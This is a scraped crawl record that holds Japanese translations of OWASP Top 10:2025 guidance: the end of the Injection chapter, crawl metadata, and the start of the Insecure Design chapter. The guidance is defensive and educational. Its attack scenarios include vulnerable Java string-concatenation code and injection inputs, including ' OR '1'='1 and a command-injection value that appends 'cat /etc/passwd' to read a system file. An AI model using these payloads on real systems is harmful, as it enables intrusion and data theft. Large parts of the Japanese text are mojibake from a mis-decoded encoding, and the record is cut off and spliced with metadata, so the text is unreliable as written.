ユーザーから提供されたデータが、アプリケーションによって検証、フィルタリング、または無害化 (Sanitize) されていない。\n- 文脈に応じたエスケープ処理を行わずに、動的クエリや非パラメータ化された呼び出しをインタープリタで直接使用している。\n- 無害化されていないデータが ORM (オブジェクト関係マッピング) の検索パラメータに使用され、本来アクセスできない機密レコードが抽出されてしまう。\n- 悪意ある可能性のあるデータが、動的クエリやコマンド、ストアドプロシージャの中で直接利用、あるいは結合されている。\n\n代表的なものには SQL、NoSQL、OS コマンド、ORM、LDAP、および式言語 (EL) や OGNL (Object Graph Navigation Library) ă¸ăŽă‚¤ăƒłă‚¸ă‚§ă‚Żă‚ˇăƒ§ăƒłăŒă‚ă‚Šăžă™ă€‚ă‚¤ăƒłă‚żăƒźăƒ—ăƒŞă‚żăŽç¨ŽéĄžăŤă‹ă‹ă‚ă‚‰ăšă€ăăŽć šćœŹçš„ăŞćŚ‚ĺżľăŻĺŒä¸€ă§ă™ă€‚ć¤œĺ‡şăŤăŻă‚˝ăƒźă‚šă‚łăƒźăƒ‰ăƒŹăƒ“ăƒĽăƒźăŒćœ€ă‚‚ĺŠšćžœçš„ă§ă™ăŒă€ă™ăšăŚăŽĺ…ĽĺŠ›ďźˆăƒ‘ăƒŠăƒĄăƒźă‚żă€ăƒ˜ăƒƒăƒ€ăƒźă€URL、Cookie、JSON、XML 等)に対する自動テストやファジング (Fuzzing) も有効です。また、CI/CD パイプラインに SAST (静的解析)、DAST (動的解析)、IAST (インタラクティブ解析) を組み込むことで、本番環境へのデプロイ前に不備を特定できます。\n\nなお、LLM (大規模言語モデル) において一般的になりつつある関連の脆弱性については、[OWASP LLM Top 10](https://genai.owasp.org/llm-top-10/)、特に [LLM01:2025 プロンプトインジェクション (Prompt Injection)](https://genai.owasp.org/llmrisk/llm01-prompt-injection/) で詳しく解説されています。\n\n## 防止方法 (How to Prevent)\n\nインジェクションを防ぐ最善の方法は、「データ」を「コマンド」や「クエリ」から分離し続けることです。\n\n- **安全な API の利用:** インタープリタの使用自体を避ける、パラメータ化されたインターフェースを利用する、あるいは ORM ツールへ移行することが推奨されます。\n - **注意:** パラメータ化していても、PL/SQL や T-SQL 内でクエリとデータを結合して `EXECUTE IMMEDIATE` 等を実行すると、SQL インジェクションが発生する恐れがあります。\n\năƒ‡ăƒźă‚żă¨ă‚łăƒžăƒłăƒ‰ă‚’ĺˆ†é›˘ă§ăăŞă„ĺ ´ĺˆăŻă€äťĽä¸‹ăŽć‰‹ćł•ă§č„…ĺ¨ă‚’čť˝ć¸›ă—ăŚăă ă•ă„ă€‚\n\n- **サーバー側での入力検証:** ポジティブな入力検証(許可リスト方式)を実施してください。ただし、多くのアプリでは特殊文字の入力を許容する必要があるため、これだけでは不十分です。\n- **特殊文字のエスケープ:** 残存する動的クエリについては、各インタープリタ専用の構文を用いて特殊文字をエスケープしてください。\n - **注意:** テーブル名やカラム名などの SQL ć§‹é€ ăăŽă‚‚ăŽăŻă‚¨ă‚šă‚ąăƒźăƒ—ă§ăăžă›ă‚“ă€‚ăƒŚăƒźă‚śăƒźă‹ă‚‰ćäž›ă•ă‚ŒăŸć§‹é€ ĺă‚’ă‚Żă‚¨ăƒŞăŤä˝żç”¨ă™ă‚‹ăŽăŻćĽľă‚ăŚĺąé™şă§ă™ă€‚\n\n**警告:** ć–‡ĺ­—ĺˆ—ăŽăƒ‘ăƒźă‚šă‚„ă‚¨ă‚šă‚ąăƒźăƒ—ăŤă‚ˆă‚‹ĺŻžç­–ăŻăƒŸă‚šăŒčľˇăă‚„ă™ăă€ă‚ˇă‚šăƒ†ăƒ ăŽă‚ăšă‹ăŞĺ¤‰ć›´ă§ç„ĄĺŠšĺŒ–ă•ă‚Œă‚‹ćă‚ŒăŒă‚ă‚‹ăŸă‚ă€ĺ …ç‰˘ăŞć‰‹ćł•ă¨ăŻč¨€ăˆăžă›ă‚“ă€‚\n\n## 攻撃シナリオの例 (Example Attack Scenarios)\n\n**シナリオ #1:不適切な SQL 呼び出し**\nアプリケーションが、検証されていないデータを結合して SQL を構築している。\n\n```\nString query = \"SELECT * FROM accounts WHERE custID='\" + request.getParameter(\"id\") + \"'\";\n```\n\n攻撃者がブラウザの `id` パラメータを `' OR '1'='1` に書き換えると、クエリの意味が変わり、全口座のレコードが返されてしまいます。\n\n```\nhttp://example.com/app/accountView?id=' OR '1'='1\n```\n\n**シナリオ #2:フレームワークへの盲信**\nHibernate Query Language (HQL) を使用していても、以下のように入力を結合すると脆弱になります。\n\n```\nQuery HQLQuery = session.createQuery(\"FROM accounts WHERE custID='\" + request.getParameter(\"id\") + \"'\");\n```\n\n攻撃者が `' OR custID IS NOT NULL OR custID='` を入力すると、フィルターを回避して全アカウントへの不正アクセスが可能になります。\n\n**シナリオ #3:OS コマンドへの直接注入**\nアプリケーションがユーザー入力を直接 OS コマンドへ渡している。\n\n```\nString cmd = \"nslookup \" + request.getParameter(\"domain\");\nRuntime.getRuntime().exec(cmd);\n```\n\n攻撃者が `example.com; cat /etc/passwd` と入力することで、サーバー上で任意のコマンドが実行されます。\n\n## 関連資料 (References)\n\n- [OWASP Proactive Controls: Secure Database Access](https://owasp.org/www-project-proactive-controls/v3/en/c3-secure-database)\n- [OWASP ASVS: V5 Input Validation and Encoding](https://owasp.org/www-project-application-security-verification-standard)\n- [OWASP Testing Guide: SQL Injection,](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection) [Command Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/12-Testing_for_Command_Injection) , and [ORM Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.7-Testing_for_ORM_Injection)\n- [OWASP Cheat Sheet: Injection Prevention](https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: SQL Injection Prevention](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Injection Prevention in Java](https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet_in_Java.html)\n- [OWASP Cheat Sheet: Query Parameterization](https://cheatsheetseries.owasp.org/cheatsheets/Query_Parameterization_Cheat_Sheet.html)\n- [OWASP Automated Threats to Web Applications – OAT-014](https://owasp.org/www-project-automated-threats-to-web-applications/)\n- [PortSwigger: Server-side template injection](https://portswigger.net/kb/issues/00101080_serversidetemplateinjection)\n- [Awesome Fuzzing: a list of fuzzing resources](https://github.com/secfigo/Awesome-Fuzzing)\n\n## 紐付けられた CWE 一覧 (List of Mapped CWEs)\n\n- [CWE-20 Improper Input Validation](https://cwe.mitre.org/data/definitions/20.html)\n- [CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')](https://cwe.mitre.org/data/definitions/74.html)\n- [CWE-76 Improper Neutralization of Equivalent Special Elements](https://cwe.mitre.org/data/definitions/76.html)\n- [CWE-77 Improper Neutralization of Special Elements used in a Command ('Command Injection')](https://cwe.mitre.org/data/definitions/77.html)\n- [CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')](https://cwe.mitre.org/data/definitions/78.html)\n- [CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')](https://cwe.mitre.org/data/definitions/79.html)\n- [CWE-80 Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)](https://cwe.mitre.org/data/definitions/80.html)\n- [CWE-83 Improper Neutralization of Script in Attributes in a Web Page](https://cwe.mitre.org/data/definitions/83.html)\n- [CWE-86 Improper Neutralization of Invalid Characters in Identifiers in Web Pages](https://cwe.mitre.org/data/definitions/86.html)\n- [CWE-88 Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')](https://cwe.mitre.org/data/definitions/88.html)\n- [CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')](https://cwe.mitre.org/data/definitions/89.html)\n- [CWE-90 Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')](https://cwe.mitre.org/data/definitions/90.html)\n- [CWE-91 XML Injection (aka Blind XPath Injection)](https://cwe.mitre.org/data/definitions/91.html)\n- [CWE-93 Improper Neutralization of CRLF Sequences ('CRLF Injection')](https://cwe.mitre.org/data/definitions/93.html)\n- [CWE-94 Improper Control of Generation of Code ('Code Injection')](https://cwe.mitre.org/data/definitions/94.html)\n- [CWE-95 Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')](https://cwe.mitre.org/data/definitions/95.html)\n- [CWE-96 Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')](https://cwe.mitre.org/data/definitions/96.html)\n- [CWE-97 Improper Neutralization of Server-Side Includes (SSI) Within a Web Page](https://cwe.mitre.org/data/definitions/97.html)\n- [CWE-98 Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')](https://cwe.mitre.org/data/definitions/98.html)\n- [CWE-99 Improper Control of Resource Identifiers ('Resource Injection')](https://cwe.mitre.org/data/definitions/99.html)\n- [CWE-103 Struts: Incomplete validate() Method Definition](https://cwe.mitre.org/data/definitions/103.html)\n- [CWE-104 Struts: Form Bean Does Not Extend Validation Class](https://cwe.mitre.org/data/definitions/104.html)\n- [CWE-112 Missing XML Validation](https://cwe.mitre.org/data/definitions/112.html)\n- [CWE-113 Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')](https://cwe.mitre.org/data/definitions/113.html)\n- [CWE-114 Process Control](https://cwe.mitre.org/data/definitions/114.html)\n- [CWE-115 Misinterpretation of Output](https://cwe.mitre.org/data/definitions/115.html)\n- [CWE-116 Improper Encoding or Escaping of Output](https://cwe.mitre.org/data/definitions/116.html)\n- [CWE-129 Improper Validation of Array Index](https://cwe.mitre.org/data/definitions/129.html)\n- [CWE-159 Improper Handling of Invalid Use of Special Elements](https://cwe.mitre.org/data/definitions/159.html)\n- [CWE-470 Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')](https://cwe.mitre.org/data/definitions/470.html)\n- [CWE-493 Critical Public Variable Without Final Modifier](https://cwe.mitre.org/data/definitions/493.html)\n- [CWE-500 Public Static Field Not Marked Final](https://cwe.mitre.org/data/definitions/500.html)\n- [CWE-564 SQL Injection: Hibernate](https://cwe.mitre.org/data/definitions/564.html)\n- [CWE-610 Externally Controlled Reference to a Resource in Another Sphere](https://cwe.mitre.org/data/definitions/610.html)\n- [CWE-643 Improper Neutralization of Data within XPath Expressions ('XPath Injection')](https://cwe.mitre.org/data/definitions/643.html)\n- [CWE-644 Improper Neutralization of HTTP Headers for Scripting Syntax](https://cwe.mitre.org/data/definitions/644.html)\n- [CWE-917 Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')](https://cwe.mitre.org/data/definitions/917.html)", "znaku_textu": 12871, "slov": 771, "odkazu": 86, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:09:22", "sha256": "d56622088eb3636974b7bb381b24b6ce9e88e7f3fbd3a29a0124488bd8abe772", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://genai.owasp.org/llm-top-10/", "https://genai.owasp.org/llmrisk/llm01-prompt-injection/", "https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet_in_Java.html", "https://cheatsheetseries.owasp.org/cheatsheets/Query_Parameterization_Cheat_Sheet.html", "https://portswigger.net/kb/issues/00101080_serversidetemplateinjection", "https://github.com/secfigo/Awesome-Fuzzing", "https://cwe.mitre.org/data/definitions/20.html", "https://cwe.mitre.org/data/definitions/74.html", "https://cwe.mitre.org/data/definitions/76.html", "https://cwe.mitre.org/data/definitions/77.html", "https://cwe.mitre.org/data/definitions/78.html", "https://cwe.mitre.org/data/definitions/79.html", "https://cwe.mitre.org/data/definitions/80.html", "https://cwe.mitre.org/data/definitions/83.html", "https://cwe.mitre.org/data/definitions/86.html", "https://cwe.mitre.org/data/definitions/88.html", "https://cwe.mitre.org/data/definitions/89.html", "https://cwe.mitre.org/data/definitions/90.html", "https://cwe.mitre.org/data/definitions/91.html", "https://cwe.mitre.org/data/definitions/93.html", "https://cwe.mitre.org/data/definitions/94.html", "https://cwe.mitre.org/data/definitions/95.html", "https://cwe.mitre.org/data/definitions/96.html", "https://cwe.mitre.org/data/definitions/97.html", "https://cwe.mitre.org/data/definitions/98.html", "https://cwe.mitre.org/data/definitions/99.html", "https://cwe.mitre.org/data/definitions/103.html", "https://cwe.mitre.org/data/definitions/104.html", "https://cwe.mitre.org/data/definitions/112.html", "https://cwe.mitre.org/data/definitions/113.html", "https://cwe.mitre.org/data/definitions/114.html", "https://cwe.mitre.org/data/definitions/115.html", "https://cwe.mitre.org/data/definitions/116.html", "https://cwe.mitre.org/data/definitions/129.html", "https://cwe.mitre.org/data/definitions/159.html", "https://cwe.mitre.org/data/definitions/470.html", "https://cwe.mitre.org/data/definitions/493.html", "https://cwe.mitre.org/data/definitions/500.html", "https://cwe.mitre.org/data/definitions/564.html", "https://cwe.mitre.org/data/definitions/610.html", "https://cwe.mitre.org/data/definitions/643.html", "https://cwe.mitre.org/data/definitions/644.html", "https://cwe.mitre.org/data/definitions/917.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/ja/A06_2025-Insecure_Design/", "titulek": "A06 Insecure Design - OWASP Top 10:2025", "h1": "A06:2025 ĺŽ‰ĺ…¨ć€§ă‚’ćŹ ă„ăŸč¨­č¨ˆ (Insecure Design)", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/ja/A06_2025-Insecure_Design/", "jazyk": "ja", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A06:2025 ĺŽ‰ĺ…¨ć€§ă‚’ćŹ ă„ăŸč¨­č¨ˆ (Insecure Design)"}, {"uroven": 2, "text": "背景 (Background)"}, {"uroven": 2, "text": "スコアテーブル (Score Table)"}, {"uroven": 2, "text": "説明 (Description)"}, {"uroven": 3, "text": "1. 要件定義とリソース管理 (Requirements and Resource Management)"}, {"uroven": 3, "text": "2. 安全な設計 (Secure Design)"}, {"uroven": 3, "text": "3. 安全な開発ライフサイクル (Secure Development Lifecycle)"}, {"uroven": 2, "text": "防止方法 (How to Prevent)"}, {"uroven": 2, "text": "攻撃シナリオの例 (Example Attack Scenarios)"}, {"uroven": 2, "text": "関連資料 (References)"}, {"uroven": 2, "text": "紐付けられた CWE 一覧 (List of Mapped CWEs)"}], "markdown": "# A06:2025 ĺŽ‰ĺ…¨ć€§ă‚’ćŹ ă„ăŸč¨­č¨ˆ (Insecure Design)\n\n## 背景 (Background)\n\nă€ŒĺŽ‰ĺ…¨ć€§ă‚’ćŹ ă„ăŸč¨­č¨ˆă€ăŻă€ĺ‰ĺ›žă‹ă‚‰é †ä˝ă‚’2つ下げて第6位となりました。これは「セキュリティ設定の不備 (A02)」と「ソフトウェアサプライチェーンの失敗 (A03)」が急上昇し、本カテゴリを追い越した結果、こうなりました。2021年に導入されて以来、業界全体で脅威モデリング(Threat Modelingďź‰ă¸ăŽé–˘ĺżƒăŒéŤ˜ăžă‚Šă€č¨­č¨ˆăŽĺŽ‰ĺ…¨ć€§ă‚’é‡čŚ–ă™ă‚‹ĺ‚žĺ‘ăŒĺźˇăžăŁăŸă“ă¨ă§ă€ä¸€ĺŽšăŽć”šĺ–„ăŒčŚ‹ă‚‰ă‚Œăžă™ă€‚ćœŹă‚Ťăƒ†ă‚´ăƒŞăŻă€č¨­č¨ˆă‚„ă‚˘ăƒźă‚­ăƒ†ă‚ŻăƒăƒŁăŽćŹ é™ĽăŤčľˇĺ› ă™ă‚‹ăƒŞă‚šă‚ŻăŤç„Śç‚šă‚’ĺ˝“ăŚăŚăŠă‚Šă€č„…ĺ¨ăƒ˘ăƒ‡ăƒŞăƒłă‚°ă€ĺŽ‰ĺ…¨ăŞč¨­č¨ˆăƒ‘ă‚żăƒźăƒłă€ăŠă‚ˆăłăƒŞăƒ•ă‚ĄăƒŹăƒłă‚šă‚˘ăƒźă‚­ăƒ†ă‚ŻăƒăƒŁăŽă•ă‚‰ăŞă‚‹ć´ťç”¨ă‚’ćą‚ă‚ăŚă„ăžă™ă€‚ă“ă‚ŒăŤăŻă€ă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłĺ†…éƒ¨ă§äşˆćœŸă—ăŞă„çŠść…‹ĺ¤‰ĺŒ–ă‚’ĺŽšçžŠă—ăŚă„ăŞă„ă¨ă„ăŁăŸă€ăƒ“ă‚¸ăƒă‚šăƒ­ă‚¸ăƒƒă‚ŻăŽä¸ĺ‚™ă‚‚ĺŤăžă‚Œăžă™ă€‚\n\n私たちは、コーディングにおける「シフトレフト」を超え、セキュア・バイ・デザイン(Secure by Designďź‰ăŽĺŽŸĺ‰‡ăŤä¸ĺŻćŹ ăŞă€čŚäťśĺŽšçžŠă‚„č¨­č¨ˆă¨ă„ăŁăŸă€ŒĺŽŸčŁ…ĺ‰ăŽă‚˘ă‚Żăƒ†ă‚Łăƒ“ăƒ†ă‚Łă€ă‚’ĺźˇĺŒ–ă—ăŞă‘ă‚Œă°ăŞă‚Šăžă›ă‚“ďźˆ[今日求められるアプリケーションセキュリティプログラムの確立: 計画・設計フェーズ](../0x03_2025-Establishing_a_Modern_Application_Security_Program/) を参照)。主要な CWE (共通弱点一覧) ăŤăŻă€čŞč¨źćƒ…ĺ ąăŽäżč­ˇă•ă‚ŒăŚă„ăŞă„äżĺ­˜ (CWE-256)、不適切な特権管理 (CWE-269)、危険な種類のファイルの無制限アップロード (CWE-434)ă€äżĄé źĺ˘ƒç•ŒăŽäžľĺŽł (CWE-501)ă€ăŠă‚ˆăłčŞč¨źćƒ…ĺ ąăŽäżč­ˇä¸čśł (CWE-522) が含まれます。\n\n## スコアテーブル (Score Table)\n\n| 紐付けられた CWE 数 | 最大出現率 | 平均出現率 | 最大網羅率 | 平均網羅率 | ĺšłĺ‡ĺŠ é‡ć‚Şç”¨ă‚šă‚łă‚˘ | ĺšłĺ‡ĺŠ é‡ĺ˝ąéŸżă‚šă‚łă‚˘ | 出現総数 | CVE 総数 |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 39 | 22.18% | 1.86% | 88.76% | 35.18% | 6.96 | 4.05 | 729,882 | 7,647 |\n\n## 説明 (Description)\n\nĺŽ‰ĺ…¨ć€§ă‚’ćŹ ă„ăŸč¨­č¨ˆăŻă€ă€ŒĺˆśĺžĄč¨­č¨ˆăŽćŹ č˝ăžăŸăŻĺŠšćžœăŽä¸čśłă€ă‚’ć„ĺ‘łă™ă‚‹ĺşƒçŻ„ăŞă‚Ťăƒ†ă‚´ăƒŞă§ă™ă€‚ă€ŒĺŽ‰ĺ…¨ć€§ă‚’ćŹ ă„ăŸč¨­č¨ˆ (Insecure Design)」と「不適切な実装 (Insecure Implementation)ă€ăŻć˜Žç˘şăŤĺŒşĺˆĽă•ă‚Œă‚‹ăšăă§ă™ă€‚ă“ă‚Œă‚‰ăŻć šćœŹĺŽŸĺ› ă€ç™şç”Ÿăƒ•ă‚§ăƒźă‚şă€ăŠă‚ˆăłäżŽć­Łć–šćł•ăŒç•°ăŞă‚Šăžă™ă€‚č¨­č¨ˆăŒĺŽ‰ĺ…¨ă§ă‚ăŁăŚă‚‚ĺŽŸčŁ…ăŤä¸ĺ‚™ďźˆăƒă‚°ďź‰ăŒç”Ÿă˜ă‚‹ă“ă¨ăŻă‚ă‚Šăžă™ăŒă€č¨­č¨ˆč‡Şä˝“ăŤćŹ é™ĽăŒă‚ă‚‹ĺ ´ĺˆă€ăŸă¨ăˆĺŽŸčŁ…ă‚’ĺŽŒç’§ăŤčĄŒăŁăŚă‚‚ă€ç‰šĺŽšăŽć”ťć’ƒă‚’é˜˛ăăŸă‚ăŽă‚ťă‚­ăƒĽăƒŞăƒ†ă‚ŁĺˆśĺžĄăŒăă‚‚ăă‚‚ĺ­˜ĺœ¨ă—ăŞă„ă“ă¨ăŤăŞă‚Šăžă™ă€‚\n\n安全な設計を実現するためには、以下の 3 čŚç´ ă‚’ćŸąă¨ă—ăŸă‚ŹăƒăƒŠăƒłă‚šăŒĺż…čŚă§ă™ă€‚\n\n### 1. 要件定義とリソース管理 (Requirements and Resource Management)\n\nビジネス部門と協力し、すべてのデータ資産の機密性、真正性、完全性、可用性に関する保護要件と、期待されるビジネスロジックを収集・調整してください。アプリケーションの露出状況を考慮し、アクセス制御とは別に、テナント間の隔離が必要かどうかを判断します。機能要件および非機能セキュリティ要件を含む技術要件を取りまとめてください。また、セキュリティ活動を含む、設計から運用までの全フェーズをカバーする予算を計画し、調整してください。\n\n### 2. 安全な設計 (Secure Design)\n\nĺŽ‰ĺ…¨ăŞč¨­č¨ˆă¨ăŻă€č„…ĺ¨ă‚’çľśăˆăščŠ•äžĄă—ă€ć—˘çŸĽăŽć”ťć’ƒć‰‹ćł•ă‚’é˜˛ĺžĄă§ăă‚‹ă‚ˆă†ĺ …ç‰˘ăŤč¨­č¨ˆăƒťăƒ†ă‚šăƒˆă™ă‚‹ć–‡ĺŒ–ă¨ć‰‹ćł•ă§ă™ă€‚č„…ĺ¨ăƒ˘ăƒ‡ăƒŞăƒłă‚°ă‚’ăƒŞăƒ•ă‚Ąă‚¤ăƒłăƒĄăƒłăƒˆă‚ťăƒƒă‚ˇăƒ§ăƒłďźˆăžăŸăŻéĄžäźźăŽă‚˘ă‚Żăƒ†ă‚Łăƒ“ăƒ†ă‚Łďź‰ăŤçľąĺˆă—ă€ăƒ‡ăƒźă‚żăƒ•ăƒ­ăƒźă‚„ă‚˘ă‚Żă‚ťă‚šĺˆśĺžĄă€ăăŽäť–ăŽă‚ťă‚­ăƒĽăƒŞăƒ†ă‚ŁĺˆśĺžĄăŽĺ¤‰ć›´ă‚’ćł¨čŚ–ă—ăŚăă ă•ă„ă€‚ăƒŚăƒźă‚śăƒźă‚šăƒˆăƒźăƒŞăƒźä˝œćˆć™‚ăŤăŻă€ć­Łĺ¸¸ăŞăƒ•ăƒ­ăƒźă ă‘ă§ăŞăă€Œĺ¤ąć•—ć™‚ăŽçŠść…‹ (Failure States)」を定義し、責任者および影響を受ける関係者間で十分に理解され、合意されていることを確認してください。正常系および異常系の前提条件を分析し、それらが正確かつ望ましい状態を維持していることを確認してください。前提条件を検証し、適切な挙動に必要な条件を強制する方法を決定してください。結果はユーザーストーリーに文書化してください。失敗から学び、改善を促進するためのポジティブなインセンティブを提供してください。安全な設計は、ソフトウェアに後付けできるアドオンやツールではありません。\n\n### 3. 安全な開発ライフサイクル (Secure Development Lifecycle)\n\nソフトウェアの安全性を確保するには、安全な開発ライフサイクル (SDLC)、安全な設計パターン、舗装された道(Paved Road)の方法論、セキュアなコンポーネントライブラリ、適切なツール、脅威モデリング、およびプロセス改善のためのインシデントポストモータム(事後検証)が必要です。ソフトウェアプロジェクトの開始時から、プロジェクト全体を通じて、そして継続的なソフトウェア保守においても、セキュリティ専門家と連携してください。[OWASP Software Assurance Maturity Model (SAMM)](https://owaspsamm.org/) ă‚’ć´ťç”¨ă—ăŚă€ĺŽ‰ĺ…¨ăŞă‚˝ăƒ•ăƒˆă‚Śă‚§ă‚˘é–‹ç™şăŽĺ–ă‚Šçľ„ăżă‚’ć§‹é€ ĺŒ–ă™ă‚‹ă“ă¨ă‚’ć¤œč¨Žă—ăŚăă ă•ă„ă€‚\n\né–‹ç™şč€…č‡ŞčşŤăŒč˛ ă†ăšăč˛ŹäťťăŒĺ¤§ăă„ă“ă¨ăŻă€ă¨ăăŤĺĺˆ†ăŤč‡ŞčŚšă•ă‚ŒăŚă„ăŞă„ă‚‚ăŽă§ă™ă€‚ć„č­˜ă€č˛Źäťťă€ăŠă‚ˆăłăƒ—ăƒ­ă‚˘ă‚Żăƒ†ă‚Łăƒ–ăŞăƒŞă‚šă‚Żčť˝ć¸›ăŽć–‡ĺŒ–ă‚’é†¸ćˆă—ăŚăă ă•ă„ă€‚ă‚ťă‚­ăƒĽăƒŞăƒ†ă‚ŁăŤé–˘ă™ă‚‹ĺŽšćœŸçš„ăŞć„čŚ‹äş¤ć›ďźˆč„…ĺ¨ăƒ˘ăƒ‡ăƒŞăƒłă‚°ă‚ťăƒƒă‚ˇăƒ§ăƒłä¸­ăŞăŠďź‰ăŻă€é‡čŚăŞč¨­č¨ˆä¸ŠăŽć„ć€ćąşĺŽšăŤăŠă„ăŚă‚ťă‚­ăƒĽăƒŞăƒ†ă‚Łă‚’č€ƒć…Žă™ă‚‹ăƒžă‚¤ăƒłăƒ‰ă‚ťăƒƒăƒˆă‚’ç”Ÿăżĺ‡şă™ă“ă¨ăŒă§ăăžă™ă€‚\n\n## 防止方法 (How to Prevent)\n\n- セキュリティ専門家と協力し、セキュリティやプライバシーに関する制御を設計・評価するための SDLC を確立・運用してください。\n- 安全な設計パターンのライブラリ、あるいは舗装された道(Paved Road)のコンポーネントを活用してください。\n- 認証、アクセス制御、ビジネスロジック、および主要なデータフローに対して、脅威モデリングを継続的に実施してください。\n- セキュリティマインドセットを醸成するための教育ツールとして、脅威モデリングを活用してください。\n- セキュリティ要件と制御を、ユーザーストーリーに統合してください。\n- 各層(フロントエンドからバックエンド)において、妥当性チェック (Plausibility Checks) を統合してください。\n- ユニットテストおよび統合テストを作成し、主要なフローが脅威モデルに対して耐性を持っていることを検証してください。正常系 (Use-cases) だけでなく、異常系 (Misuse-cases) ăŽăƒ†ă‚šăƒˆă‚‚ä¸ĺŻćŹ ă§ă™ă€‚\n- 露出状況や保護ニーズに応じて、システム層およびネットワーク層を分離(Segregate)してください。\n- č¨­č¨ˆćŽľéšŽă‹ă‚‰ă€ă™ăšăŚăŽĺą¤ăŤăŠă„ăŚĺ …ç‰˘ăŞăƒ†ăƒŠăƒłăƒˆĺˆ†é›˘ă‚’ĺžšĺş•ă—ăŚăă ă•ă„ă€‚\n\n## 攻撃シナリオの例 (Example Attack Scenarios)\n\n**シナリオ #1ďźšä¸éŠĺˆ‡ăŞčł‡ć źćƒ…ĺ ąăƒŞă‚ŤăƒăƒŞ**\nčł‡ć źćƒ…ĺ ąăŽĺžŠć—§ăƒŻăƒźă‚Żăƒ•ăƒ­ăƒźăŤă€Œç§˜ĺŻ†ăŽčłŞĺ•ă¨ĺ›žç­”ă€ăŒĺŤăžă‚ŒăŚă„ă‚‹ă‚ąăƒźă‚šă€‚ă“ă‚ŒăŻ NIST 800-63b や OWASP ASVS ă§çŚć­˘ă•ă‚ŒăŚă„ăžă™ă€‚ĺ›žç­”ăŻćœŹäşşäťĽĺ¤–ă‚‚çŸĽă‚Šă†ă‚‹ăŸă‚ă€č¨źć‹ ă¨ă—ăŚäżĄé źă§ăăžă›ă‚“ă€‚ă“ăŽă‚ˆă†ăŞćŠŸčƒ˝ăŻĺ‰Šé™¤ă—ă€ă‚ˆă‚ŠĺŽ‰ĺ…¨ăŞč¨­č¨ˆăŤç˝Žăć›ăˆă‚‹ĺż…čŚăŒă‚ă‚Šăžă™ă€‚\n\n**シナリオ #2:ビジネスロジックの不備(大量予約)**\nă‚ă‚‹ć˜ ç”ťé¤¨ăƒă‚§ăƒźăƒłăŒă€15ĺäťĽä¸ŠăŽäşˆç´„ć™‚ăŤăŽăżăƒ‡ăƒă‚¸ăƒƒăƒˆă‚’čŚćą‚ă—ăŚă„ăŸă€‚ć”ťć’ƒč€…ăŒă“ăŽăƒ•ăƒ­ăƒźă‚’ĺˆ†ćžă—ă€ăƒ‡ăƒă‚¸ăƒƒăƒˆăŞă—ă§ĺ…¨é¤¨ăƒťĺ…¨ĺ¸­ă‚’ĺ ćœ‰ă—çśšă‘ă‚‹ć”ťć’ƒăŒĺŻčƒ˝ă§ă‚ă‚‹ă“ă¨ă‚’çŞăć­˘ă‚ăŸă€‚ă“ă‚ŒăŤă‚ˆă‚Šă€ć˜ ç”ťé¤¨ĺ´ăŻç”šĺ¤§ăŞĺŽç›Šćĺ¤ąă‚’č˘Ťă‚‹ă“ă¨ăŤăŞă‚Šăžă™ă€‚\n\n**シナリオ #3ďźšăƒœăƒƒăƒˆĺŻžç­–ăŽćŹ ĺŚ‚ďźˆč˛ˇă„ĺ ă‚ďź‰**\neă‚łăƒžăƒźă‚šă‚ľă‚¤ăƒˆăŤă€čť˘ĺŁ˛ç›Žçš„ăŽăƒœăƒƒăƒˆăŤă‚ˆă‚‹č˛ˇă„ĺ ă‚ĺŻžç­–ăŒĺ‚™ă‚ăŁăŚă„ăŞă‹ăŁăŸă€‚çľćžœă€éŤ˜äžĄăŞăƒ“ăƒ‡ă‚Şă‚Ťăƒźăƒ‰ăŒç™şĺŁ˛ç›´ĺžŒăŤăƒœăƒƒăƒˆăŤç‹Źĺ 